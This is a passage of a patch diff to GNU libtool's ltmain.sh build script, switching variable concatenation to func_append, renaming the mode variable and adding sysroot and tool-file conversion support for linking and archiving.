- *" -L$path/$objdir "*)
-- new_libs="$new_libs -L$path/$objdir" ;;
-+ func_append new_libs " -L$path/$objdir" ;;
- esac
- ;;
- esac
-@@ -7081,10 +8012,10 @@ EOF
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- done
- deplibs="$new_libs"
-@@ -7101,10 +8032,12 @@ EOF
- hardcode_libdirs=
- dep_rpath=
- rpath="$finalize_rpath"
-- test "$mode" != relink && rpath="$compile_rpath$rpath"
-+ test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
-@@ -7113,18 +8046,18 @@ EOF
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
-- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
-+ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-- dep_rpath="$dep_rpath $flag"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
-- *) perm_rpath="$perm_rpath $libdir" ;;
-+ *) func_apped perm_rpath " $libdir" ;;
- esac
- fi
- done
-@@ -7133,40 +8066,38 @@ EOF
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- if test -n "$hardcode_libdir_flag_spec_ld"; then
-- eval "dep_rpath=\"$hardcode_libdir_flag_spec_ld\""
-+ eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
- else
-- eval "dep_rpath=\"$hardcode_libdir_flag_spec\""
-+ eval dep_rpath=\"$hardcode_libdir_flag_spec\"
- fi
- fi
- if test -n "$runpath_var" && test -n "$perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
-- rpath="$rpath$dir:"
-+ func_append rpath "$dir:"
- done
-- eval $runpath_var=\$rpath\$$runpath_var
-- export $runpath_var
-+ eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
- fi
- test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
- fi
-
- shlibpath="$finalize_shlibpath"
-- test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
-+ test "$opt_mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
- if test -n "$shlibpath"; then
-- eval $shlibpath_var=\$shlibpath\$$shlibpath_var
-- export $shlibpath_var
-+ eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
- fi
-
- # Get the real and link names of the library.
-- eval "shared_ext=\"$shrext_cmds\""
-- eval "library_names=\"$library_names_spec\""
-+ eval shared_ext=\"$shrext_cmds\"
-+ eval library_names=\"$library_names_spec\"
- set dummy $library_names
- shift
- realname="$1"
- shift
-
- if test -n "$soname_spec"; then
-- eval "soname=\"$soname_spec\""
-+ eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
-@@ -7178,7 +8109,7 @@ EOF
- linknames=
- for link
- do
-- linknames="$linknames $link"
-+ func_append linknames " $link"
- done
-
- # Use standard objects if they are pic
-@@ -7189,7 +8120,7 @@ EOF
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp"
- export_symbols="$output_objdir/$libname.uexp"
-- delfiles="$delfiles $export_symbols"
-+ func_append delfiles " $export_symbols"
- fi
-
- orig_export_symbols=
-@@ -7220,13 +8151,45 @@ EOF
- $opt_dry_run || $RM $export_symbols
- cmds=$export_symbols_cmds
- save_ifs="$IFS"; IFS='~'
-- for cmd in $cmds; do
-+ for cmd1 in $cmds; do
- IFS="$save_ifs"
-- eval "cmd=\"$cmd\""
-- func_len " $cmd"
-- len=$func_len_result
-- if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
-+ # Take the normal branch if the nm_file_list_spec branch
-+ # doesn't work or if tool conversion is not needed.
-+ case $nm_file_list_spec~$to_tool_file_cmd in
-+ *~func_convert_file_noop | *~func_convert_file_msys_to_w32 | ~*)
-+ try_normal_branch=yes
-+ eval cmd=\"$cmd1\"
-+ func_len " $cmd"
-+ len=$func_len_result
-+ ;;
-+ *)
-+ try_normal_branch=no
-+ ;;
-+ esac
-+ if test "$try_normal_branch" = yes \
-+ && { test "$len" -lt "$max_cmd_len" \
-+ || test "$max_cmd_len" -le -1; }
-+ then
-+ func_show_eval "$cmd" 'exit $?'
-+ skipped_export=false
-+ elif test -n "$nm_file_list_spec"; then
-+ func_basename "$output"
-+ output_la=$func_basename_result
-+ save_libobjs=$libobjs
-+ save_output=$output
-+ output=${output_objdir}/${output_la}.nm
-+ func_to_tool_file "$output"
-+ libobjs=$nm_file_list_spec$func_to_tool_file_result
-+ func_append delfiles " $output"
-+ func_verbose "creating $NM input file list: $output"
-+ for obj in $save_libobjs; do
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result"
-+ done > "$output"
-+ eval cmd=\"$cmd1\"
- func_show_eval "$cmd" 'exit $?'
-+ output=$save_output
-+ libobjs=$save_libobjs
- skipped_export=false
- else
- # The command line is too long to execute in one step.
-@@ -7248,7 +8211,7 @@ EOF
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- tmp_export_symbols="$export_symbols"
- test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
-- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
-+ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
- fi
-
- if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then
-@@ -7260,7 +8223,7 @@ EOF
- # global variables. join(1) would be nice here, but unfortunately
- # isn't a blessed tool.
- $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
-- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
-+ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
- export_symbols=$output_objdir/$libname.def
- $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
- fi
-@@ -7270,7 +8233,7 @@ EOF
- case " $convenience " in
- *" $test_deplib "*) ;;
- *)
-- tmp_deplibs="$tmp_deplibs $test_deplib"
-+ func_append tmp_deplibs " $test_deplib"
- ;;
- esac
- done
-@@ -7286,43 +8249,43 @@ EOF
- fi
- if test -n "$whole_archive_flag_spec"; then
- save_libobjs=$libobjs
-- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
-+ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- test "X$libobjs" = "X " && libobjs=
- else
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $convenience
-- libobjs="$libobjs $func_extract_archives_result"
-+ func_append libobjs " $func_extract_archives_result"
- test "X$libobjs" = "X " && libobjs=
- fi
- fi
-
- if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
-- eval "flag=\"$thread_safe_flag_spec\""
-- linker_flags="$linker_flags $flag"
-+ eval flag=\"$thread_safe_flag_spec\"
-+ func_append linker_flags " $flag"
- fi
-
- # Make a backup of the uninstalled library when relinking
-- if test "$mode" = relink; then
-- $opt_dry_run || (cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U) || exit $?
-+ if test "$opt_mode" = relink; then
-+ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $?
- fi
-
- # Do each of the archive commands.
- if test "$module" = yes && test -n "$module_cmds" ; then
- if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
-- eval "test_cmds=\"$module_expsym_cmds\""
-+ eval test_cmds=\"$module_expsym_cmds\"
- cmds=$module_expsym_cmds
- else
-- eval "test_cmds=\"$module_cmds\""
-+ eval test_cmds=\"$module_cmds\"
- cmds=$module_cmds
- fi
- else
- if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
-- eval "test_cmds=\"$archive_expsym_cmds\""
-+ eval test_cmds=\"$archive_expsym_cmds\"
- cmds=$archive_expsym_cmds
- else
-- eval "test_cmds=\"$archive_cmds\""
-+ eval test_cmds=\"$archive_cmds\"
- cmds=$archive_cmds
- fi
- fi
-@@ -7366,10 +8329,13 @@ EOF
- echo 'INPUT (' > $output
- for obj in $save_libobjs
- do
-- $ECHO "$obj" >> $output
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result" >> $output
- done
- echo ')' >> $output
-- delfiles="$delfiles $output"
-+ func_append delfiles " $output"
-+ func_to_tool_file "$output"
-+ output=$func_to_tool_file_result
- elif test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then
- output=${output_objdir}/${output_la}.lnk
- func_verbose "creating linker input file list: $output"
-@@ -7383,15 +8349,17 @@ EOF
- fi
- for obj
- do
-- $ECHO "$obj" >> $output
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result" >> $output
- done
-- delfiles="$delfiles $output"
-- output=$firstobj\"$file_list_spec$output\"
-+ func_append delfiles " $output"
-+ func_to_tool_file "$output"
-+ output=$firstobj\"$file_list_spec$func_to_tool_file_result\"
- else
- if test -n "$save_libobjs"; then
- func_verbose "creating reloadable object files..."
- output=$output_objdir/$output_la-${k}.$objext
-- eval "test_cmds=\"$reload_cmds\""
-+ eval test_cmds=\"$reload_cmds\"
- func_len " $test_cmds"
- len0=$func_len_result
- len=$len0
-@@ -7411,12 +8379,12 @@ EOF
- if test "$k" -eq 1 ; then
- # The first file doesn't have a previous command to add.
- reload_objs=$objlist
-- eval "concat_cmds=\"$reload_cmds\""
-+ eval concat_cmds=\"$reload_cmds\"
- else
- # All subsequent reloadable object files will link in
- # the last one created.
- reload_objs="$objlist $last_robj"
-- eval "concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\""
-+ eval concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\"
- fi
- last_robj=$output_objdir/$output_la-${k}.$objext
- func_arith $k + 1
-@@ -7433,11 +8401,11 @@ EOF
- # files will link in the last one created.
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
- reload_objs="$objlist $last_robj"
-- eval "concat_cmds=\"\${concat_cmds}$reload_cmds\""
-+ eval concat_cmds=\"\${concat_cmds}$reload_cmds\"
- if test -n "$last_robj"; then
-- eval "concat_cmds=\"\${concat_cmds}~\$RM $last_robj\""
-+ eval concat_cmds=\"\${concat_cmds}~\$RM $last_robj\"
- fi
-- delfiles="$delfiles $output"
-+ func_append delfiles " $output"
-
- else
- output=
-@@ -7450,9 +8418,9 @@ EOF
- libobjs=$output
- # Append the command to create the export file.
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
-- eval "concat_cmds=\"\$concat_cmds$export_symbols_cmds\""
-+ eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\"
- if test -n "$last_robj"; then
-- eval "concat_cmds=\"\$concat_cmds~\$RM $last_robj\""
-+ eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\"
- fi
- fi
-
-@@ -7471,7 +8439,7 @@ EOF
- lt_exit=$?
-
- # Restore the uninstalled library and exit
-- if test "$mode" = relink; then
-+ if test "$opt_mode" = relink; then
- ( cd "$output_objdir" && \
- $RM "${realname}T" && \
- $MV "${realname}U" "$realname" )
-@@ -7492,7 +8460,7 @@ EOF
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- tmp_export_symbols="$export_symbols"
- test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
-- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
-+ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
- fi
-
- if test -n "$orig_export_symbols"; then
-@@ -7504,7 +8472,7 @@ EOF
- # global variables. join(1) would be nice here, but unfortunately
- # isn't a blessed tool.
- $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
-- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
-+ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
- export_symbols=$output_objdir/$libname.def
- $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
- fi
-@@ -7515,7 +8483,7 @@ EOF
- output=$save_output
-
- if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
-- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
-+ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- test "X$libobjs" = "X " && libobjs=
- fi
- # Expand the library linking commands again to reset the
-@@ -7539,23 +8507,23 @@ EOF
-
- if test -n "$delfiles"; then
- # Append the command to remove temporary files to $cmds.
-- eval "cmds=\"\$cmds~\$RM $delfiles\""
-+ eval cmds=\"\$cmds~\$RM $delfiles\"
- fi
-
- # Add any objects from preloaded convenience libraries
- if test -n "$dlprefiles"; then
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $dlprefiles
-- libobjs="$libobjs $func_extract_archives_result"
-+ func_append libobjs " $func_extract_archives_result"
- test "X$libobjs" = "X " && libobjs=
- fi
-
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
-- eval "cmd=\"$cmd\""
-+ eval cmd=\"$cmd\"
- $opt_silent || {
- func_quote_for_expand "$cmd"
- eval "func_echo $func_quote_for_expand_result"
-@@ -7564,7 +8532,7 @@ EOF
- lt_exit=$?
-
- # Restore the uninstalled library and exit
-- if test "$mode" = relink; then
-+ if test "$opt_mode" = relink; then
- ( cd "$output_objdir" && \
- $RM "${realname}T" && \
- $MV "${realname}U" "$realname" )
-@@ -7576,8 +8544,8 @@ EOF
- IFS="$save_ifs"
-
- # Restore the uninstalled library and exit
-- if test "$mode" = relink; then
-- $opt_dry_run || (cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname) || exit $?
-+ if test "$opt_mode" = relink; then
-+ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $?
-
- if test -n "$convenience"; then
- if test -z "$whole_archive_flag_spec"; then
-@@ -7656,17 +8624,20 @@ EOF
-
- if test -n "$convenience"; then
- if test -n "$whole_archive_flag_spec"; then
-- eval "tmp_whole_archive_flags=\"$whole_archive_flag_spec\""
-+ eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\"
- reload_conv_objs=$reload_objs\ `$ECHO "$tmp_whole_archive_flags" | $SED 's|,| |g'`
- else
- gentop="$output_objdir/${obj}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $convenience
- reload_conv_objs="$reload_objs $func_extract_archives_result"
- fi
- fi
-
-+ # If we're not building shared, we need to use non_pic_objs
-+ test "$build_libtool_libs" != yes && libobjs="$non_pic_objects"
-+
- # Create the old-style object.
- reload_objs="$objs$old_deplibs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; /\.lib$/d; $lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
-
-@@ -7690,7 +8661,7 @@ EOF
- # Create an invalid libtool object if no PIC, so that we don't
- # accidentally link it into a program.
- # $show "echo timestamp > $libobj"
-- # $opt_dry_run || echo timestamp > $libobj || exit $?
-+ # $opt_dry_run || eval "echo timestamp > $libobj" || exit $?
- exit $EXIT_SUCCESS
- fi
-
-@@ -7740,8 +8711,8 @@ EOF
- if test "$tagname" = CXX ; then
- case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
- 10.[0123])
-- compile_command="$compile_command ${wl}-bind_at_load"
-- finalize_command="$finalize_command ${wl}-bind_at_load"
-+ func_append compile_command " ${wl}-bind_at_load"
-+ func_append finalize_command " ${wl}-bind_at_load"
- ;;
- esac
- fi
-@@ -7761,7 +8732,7 @@ EOF
- *)
- case " $compile_deplibs " in
- *" -L$path/$objdir "*)
-- new_libs="$new_libs -L$path/$objdir" ;;
-+ func_append new_libs " -L$path/$objdir" ;;
- esac
- ;;
- esac
-@@ -7771,17 +8742,17 @@ EOF
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- done
- compile_deplibs="$new_libs"
-
-
-- compile_command="$compile_command $compile_deplibs"
-- finalize_command="$finalize_command $finalize_deplibs"
-+ func_append compile_command " $compile_deplibs"
-+ func_append finalize_command " $finalize_deplibs"
-
- if test -n "$rpath$xrpath"; then
- # If the user specified any rpath flags, then add them.
-@@ -7789,7 +8760,7 @@ EOF
- # This is the magic to use -rpath.
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir" ;;
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- done
- fi
-@@ -7808,18 +8779,18 @@ EOF
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
-- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
-+ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-- rpath="$rpath $flag"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
-- *) perm_rpath="$perm_rpath $libdir" ;;
-+ *) func_append perm_rpath " $libdir" ;;
- esac
- fi
- case $host in
-@@ -7828,12 +8799,12 @@ EOF
- case :$dllsearchpath: in
- *":$libdir:"*) ;;
- ::) dllsearchpath=$libdir;;
-- *) dllsearchpath="$dllsearchpath:$libdir";;
-+ *) func_append dllsearchpath ":$libdir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- ::) dllsearchpath=$testbindir;;
-- *) dllsearchpath="$dllsearchpath:$testbindir";;
-+ *) func_append dllsearchpath ":$testbindir";;
- esac
- ;;
- esac
-@@ -7842,7 +8813,7 @@ EOF
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
-- eval "rpath=\" $hardcode_libdir_flag_spec\""
-+ eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- compile_rpath="$rpath"
-
-@@ -7859,18 +8830,18 @@ EOF
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
-- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
-+ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-- rpath="$rpath $flag"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
- *" $libdir "*) ;;
-- *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
-+ *) func_append finalize_perm_rpath " $libdir" ;;
- esac
- fi
- done
-@@ -7878,7 +8849,7 @@ EOF
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
-- eval "rpath=\" $hardcode_libdir_flag_spec\""
-+ eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- finalize_rpath="$rpath"
-
-@@ -7921,6 +8892,12 @@ EOF
- exit_status=0
- func_show_eval "$link_command" 'exit_status=$?'
-
-+ if test -n "$postlink_cmds"; then
-+ func_to_tool_file "$output"
-+ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
-+ func_execute_cmds "$postlink_cmds" 'exit $?'
-+ fi
-+
- # Delete the generated files.
- if test -f "$output_objdir/${outputname}S.${objext}"; then
- func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"'
-@@ -7943,7 +8920,7 @@ EOF
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
-- rpath="$rpath$dir:"
-+ func_append rpath "$dir:"
- done
- compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
-@@ -7951,7 +8928,7 @@ EOF
- # We should set the runpath_var.
- rpath=
- for dir in $finalize_perm_rpath; do
-- rpath="$rpath$dir:"
-+ func_append rpath "$dir:"
- done
- finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
-@@ -7966,6 +8943,13 @@ EOF
- $opt_dry_run || $RM $output
- # Link the executable and exit
- func_show_eval "$link_command" 'exit $?'
-+
-+ if test -n "$postlink_cmds"; then
-+ func_to_tool_file "$output"
-+ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
-+ func_execute_cmds "$postlink_cmds" 'exit $?'
-+ fi
-+
- exit $EXIT_SUCCESS
- fi
-
-@@ -7999,6 +8983,12 @@ EOF
-
- func_show_eval "$link_command" 'exit $?'
-
-+ if test -n "$postlink_cmds"; then
-+ func_to_tool_file "$output_objdir/$outputname"
-+ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
-+ func_execute_cmds "$postlink_cmds" 'exit $?'
-+ fi
-+
- # Now create the wrapper script.
- func_verbose "creating $output"
-
-@@ -8096,7 +9086,7 @@ EOF
- else
- oldobjs="$old_deplibs $non_pic_objects"
- if test "$preload" = yes && test -f "$symfileobj"; then
-- oldobjs="$oldobjs $symfileobj"
-+ func_append oldobjs " $symfileobj"
- fi
- fi
- addlibs="$old_convenience"
-@@ -8104,10 +9094,10 @@ EOF
-
- if test -n "$addlibs"; then
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $addlibs
-- oldobjs="$oldobjs $func_extract_archives_result"
-+ func_append oldobjs " $func_extract_archives_result"
- fi
-
- # Do each command in the archive commands.
-@@ -8118,10 +9108,10 @@ EOF
- # Add any objects from preloaded convenience libraries
- if test -n "$dlprefiles"; then
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $dlprefiles
-- oldobjs="$oldobjs $func_extract_archives_result"
-+ func_append oldobjs " $func_extract_archives_result"
- fi
-
- # POSIX demands no paths to be encoded in archives. We have
-@@ -8139,7 +9129,7 @@ EOF
- else
- echo "copying selected object files to avoid basename conflicts..."
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
- func_mkdir_p "$gentop"
- save_oldobjs=$oldobjs
- oldobjs=
-@@ -8163,18 +9153,28 @@ EOF
- esac
- done
- func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
-- oldobjs="$oldobjs $gentop/$newobj"
-+ func_append oldobjs " $gentop/$newobj"
- ;;
-- *) oldobjs="$oldobjs $obj" ;;
-+ *) func_append oldobjs " $obj" ;;
- esac
- done
- fi
-- eval "cmds=\"$old_archive_cmds\""
-+ eval cmds=\"$old_archive_cmds\"
-
- func_len " $cmds"
- len=$func_len_result
- if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- cmds=$old_archive_cmds
-+ elif test -n "$archiver_list_spec"; then
-+ func_verbose "using command file archive linking..."
-+ for obj in $oldobjs
-+ do
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result"
-+ done > $output_objdir/$libname.libcmd
-+ func_to_tool_file "$output_objdir/$libname.libcmd"
-+ oldobjs=" $archiver_list_spec$func_to_tool_file_result"
-+ cmds=$old_archive_cmds
- else
- # the command line is too long to link in one step, link in parts
- func_verbose "using piecewise archive linking..."
-@@ -8189,7 +9189,7 @@ EOF
- do
- last_oldobj=$obj
- done
-- eval "test_cmds=\"$old_archive_cmds\""
-+ eval test_cmds=\"$old_archive_cmds\"
- func_len " $test_cmds"
- len0=$func_len_result
- len=$len0
-@@ -8208,7 +9208,7 @@ EOF
- RANLIB=$save_RANLIB
- fi
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
-- eval "concat_cmds=\"\${concat_cmds}$old_archive_cmds\""
-+ eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
- objlist=
- len=$len0
- fi
-@@ -8216,9 +9216,9 @@ EOF
- RANLIB=$save_RANLIB
- oldobjs=$objlist
- if test "X$oldobjs" = "X" ; then
-- eval "cmds=\"\$concat_cmds\""
-+ eval cmds=\"\$concat_cmds\"
- else
-- eval "cmds=\"\$concat_cmds~\$old_archive_cmds\""
-+ eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
- fi
- fi
- fi
-@@ -8268,12 +9268,23 @@ EOF
- *.la)
- func_basename "$deplib"
- name="$func_basename_result"
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
-+ func_resolve_sysroot "$deplib"
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
- test -z "$libdir" && \
- func_fatal_error "\`$deplib' is not a valid libtool archive"
-- newdependency_libs="$newdependency_libs $libdir/$name"
-+ func_append newdependency_libs " ${lt_sysroot:+=}$libdir/$name"
-+ ;;
-+ -L*)
-+ func_stripname -L '' "$deplib"
-+ func_replace_sysroot "$func_stripname_result"
-+ func_append newdependency_libs " -L$func_replace_sysroot_result"
- ;;
-- *) newdependency_libs="$newdependency_libs $deplib" ;;
-+ -R*)
-+ func_stripname -R '' "$deplib"
-+ func_replace_sysroot "$func_stripname_result"
-+ func_append newdependency_libs " -R$func_replace_sysroot_result"
-+ ;;
-+ *) func_append newdependency_libs " $deplib" ;;
- esac
- done
- dependency_libs="$newdependency_libs"
-@@ -8284,12 +9295,14 @@ EOF
- *.la)
- func_basename "$lib"
- name="$func_basename_result"
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
-+ func_resolve_sysroot "$lib"
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
-+
- test -z "$libdir" && \
- func_fatal_error "\`$lib' is not a valid libtool archive"
-- newdlfiles="$newdlfiles $libdir/$name"
-+ func_append newdlfiles " ${lt_sysroot:+=}$libdir/$name"
- ;;
-- *) newdlfiles="$newdlfiles $lib" ;;
-+ *) func_append newdlfiles " $lib" ;;
- esac
- done
- dlfiles="$newdlfiles"
-@@ -8303,10 +9316,11 @@ EOF
- # the library:
- func_basename "$lib"
- name="$func_basename_result"
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
-+ func_resolve_sysroot "$lib"
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
- test -z "$libdir" && \
- func_fatal_error "\`$lib' is not a valid libtool archive"
-- newdlprefiles="$newdlprefiles $libdir/$name"
-+ func_append newdlprefiles " ${lt_sysroot:+=}$libdir/$name"
- ;;
- esac
- done
-@@ -8318,7 +9332,7 @@ EOF
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
-- newdlfiles="$newdlfiles $abs"
-+ func_append newdlfiles " $abs"
- done
- dlfiles="$newdlfiles"
- newdlprefiles=
-@@ -8327,7 +9341,7 @@ EOF
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
-- newdlprefiles="$newdlprefiles $abs"
-+ func_append newdlprefiles " $abs"
- done
- dlprefiles="$newdlprefiles"
- fi
-@@ -8412,7 +9426,7 @@ relink_command=\"$relink_command\""
- exit $EXIT_SUCCESS
- }
-
--{ test "$mode" = link || test "$mode" = relink; } &&
-+{ test "$opt_mode" = link || test "$opt_mode" = relink; } &&
- func_mode_link ${1+"$@"}
-
-
-@@ -8432,9 +9446,9 @@ func_mode_uninstall ()
- for arg
- do
- case $arg in
-- -f) RM="$RM $arg"; rmforce=yes ;;
-- -*) RM="$RM $arg" ;;
-- *) files="$files $arg" ;;
-+ -f) func_append RM " $arg"; rmforce=yes ;;
-+ -*) func_append RM " $arg" ;;
-+ *) func_append files " $arg" ;;
- esac
- done
-
-@@ -8443,24 +9457,23 @@ func_mode_uninstall ()
-
- rmdirs=
-
-- origobjdir="$objdir"
- for file in $files; do
- func_dirname "$file" "" "."
- dir="$func_dirname_result"
- if test "X$dir" = X.; then
-- objdir="$origobjdir"
-+ odir="$objdir"
- else
-- objdir="$dir/$origobjdir"
-+ odir="$dir/$objdir"
- fi
- func_basename "$file"
- name="$func_basename_result"
-- test "$mode" = uninstall && objdir="$dir"
-+ test "$opt_mode" = uninstall && odir="$dir"
-
